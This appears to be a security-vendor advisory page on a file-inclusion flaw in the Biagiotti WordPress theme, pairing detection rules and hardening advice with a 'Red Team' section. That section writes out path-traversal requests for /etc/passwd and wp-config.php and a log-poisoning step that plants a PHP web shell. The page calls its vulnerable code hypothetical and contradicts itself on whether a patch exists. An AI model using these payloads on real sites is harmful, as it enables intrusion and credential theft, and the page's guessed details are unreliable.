CVE-2025-67938
Executive Summary
CVE-2025-67938 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Biagiotti WordPress theme developed by Mikado-Themes. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.1 (High) reflects the ease of exploitation and high impact on confidentiality, integrity, and availability. No public exploit code or patch details are currently available, making this a high-priority zero-day for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a commercial WordPress theme (Biagiotti) distributed via the Mikado-Themes ecosystem. Since it is not an open-source package (NPM, PyPI, etc.), supply chain risks are limited to direct theme installations. However, users who have purchased and installed this theme are at immediate risk. The lack of a patch from the vendor increases the attack surface for all sites running versions prior to 3.5.2.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated exploitation.
- User Interaction: None (UI:N) – No victim action needed.
- Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – Full file read capability.
- Integrity Impact: High (I:H) – Potential for code execution.
- Availability Impact: High (A:H) – Could lead to denial of service or full compromise.
Threat Level: Critical for unpatched WordPress sites using Biaggiotti theme < 3.5.2. The absence of a patch and public exploit code increases the likelihood of targeted attacks.
Deep Dive & Mechanics
The vulnerability is a PHP Local File Inclusion (LFI) caused by improper sanitization of user-supplied input passed to a PHP include() or require() function within the Biaggiotti theme. The theme likely uses a parameter (e.g., page, template, or file) to dynamically load template files. Without proper validation, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.
Example vulnerable code pattern:
$file = $_GET['template'];
include("templates/" . $file . ".php");
An attacker can exploit this by sending:
GET /?template=../../../etc/passwd%00
The null byte (%00) may be used to terminate the .php extension in older PHP versions, or the attacker can use path traversal to include files like wp-config.php (which contains database credentials).
Impact:
- Information Disclosure: Read sensitive files (e.g.,
/etc/passwd,wp-config.php, logs). - Remote Code Execution: Combine with log poisoning (e.g., inject PHP code into Apache logs via User-Agent, then include the log file).
- Full Server Compromise: If
wp-config.phpis exposed, database credentials can be used to escalate to admin access.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common LFI fixes.
Vulnerable Code (Biaggiotti < 3.5.2):
// No input validation
$template = $_GET['template'];
include("templates/" . $template . ".php");
Patched Code (Hypothetical fix):
// Whitelist allowed templates
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
include("templates/" . $template . ".php");
} else {
// Default or error
include("templates/home.php");
}
Key differences:
- Input validation: Patched version uses a whitelist instead of direct concatenation.
- Path traversal prevention: The whitelist approach inherently blocks
../sequences. - Error handling: Falls back to a safe default.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with Biaggiotti theme version < 3.5.2.
- Ensure the vulnerable parameter (e.g.,
template) is exposed in a URL.
Exploitation Steps:
Basic LFI to read
/etc/passwd:GET /?template=../../../etc/passwd%00If null byte injection fails, try:
GET /?template=../../../etc/passwd(If the
.phpextension is appended, the file must exist with that extension, so use path traversal to include files without.php.)Log Poisoning for RCE:
- Inject PHP code into Apache access log via User-Agent:
User-Agent: <?php system($_GET['cmd']); ?> - Then include the log file:
GET /?template=../../../var/log/apache2/access.log&cmd=id
- Inject PHP code into Apache access log via User-Agent:
Read
wp-config.php:GET /?template=../../../wp-config(If
.phpis appended, the filewp-config.phpwill be included and executed, but the PHP code will not be displayed. Use base64 encoding or other techniques to extract content.)
Note: No public exploit code is available; the above is based on standard LFI techniques.
Blue Team (Defensive)
Detection:
- Monitor for path traversal patterns in GET/POST parameters (e.g.,
../,%2e%2e%2f). - Alert on inclusion of sensitive files (e.g.,
wp-config.php,/etc/passwd). - Use WAF rules to block null bytes and directory traversal sequences.
Mitigation:
- Immediately upgrade to Biaggiotti >= 3.5.2 if a patch becomes available.
- If no patch, disable the vulnerable theme or implement a virtual patch via WAF.
- Restrict file inclusion to a whitelist of allowed templates.
- Disable
allow_url_includeandallow_url_fopeninphp.ini. - Use
realpath()to resolve and validate file paths.
Indicators of Compromise (IOCs)
- URL Patterns:
?template=../or?page=../or similar parameters with path traversal.- Requests containing
%00(null byte) in parameters.
- Log Entries:
- Apache/Nginx access logs showing
../sequences in query strings. - PHP error logs with
include(): Failed openingerrors for unexpected paths.
- Apache/Nginx access logs showing
- File System:
- Unexpected files in web root (e.g., shell.php) created after exploitation.
- Modified
.htaccessorwp-config.phpfiles.
- Network:
- Outbound connections from the web server to unknown IPs (post-exploitation).
Detection Engineering
YARA Rule
rule CVE_2025_67938_LFI_Detection {
meta:
description = "Detects path traversal attempts targeting Biaggiotti theme LFI"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67938"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$sensitive_file = /(wp-config|etc\/passwd|proc\/self\/environ)/
$null_byte = /\x00/
condition:
any of ($path_traversal) and any of ($sensitive_file) or $null_byte
}
Sigma Rule
title: CVE-2025-67938 Biaggiotti Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Biaggiotti theme
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
- '%00'
condition: selection
falsepositives:
- Legitimate use of relative paths in some applications
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67938 Biaggiotti Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"wp-config"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action:
- Upgrade to Biaggiotti version 3.5.2 or later if a patch is released.
- If no patch is available, disable the theme and switch to a secure alternative.
Virtual Patching:
- Deploy WAF rules to block path traversal sequences (
../,%2e%2e%2f, null bytes). - Block requests containing
wp-config.php,/etc/passwd, or other sensitive files in query parameters.
- Deploy WAF rules to block path traversal sequences (
Server Hardening:
- Set
open_basedirinphp.inito restrict file access to the web root. - Disable
allow_url_includeandallow_url_fopen. - Use
disable_functionsto block dangerous PHP functions likeexec(),system(),passthru().
- Set
Monitoring:
- Enable detailed logging for web server and PHP errors.
- Implement file integrity monitoring (FIM) for critical files like
wp-config.php.
Long-term:
- Conduct a security audit of all themes and plugins.
- Follow secure coding practices: whitelist allowed files, use
realpath()to resolve paths, and avoid direct user input ininclude()statements.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.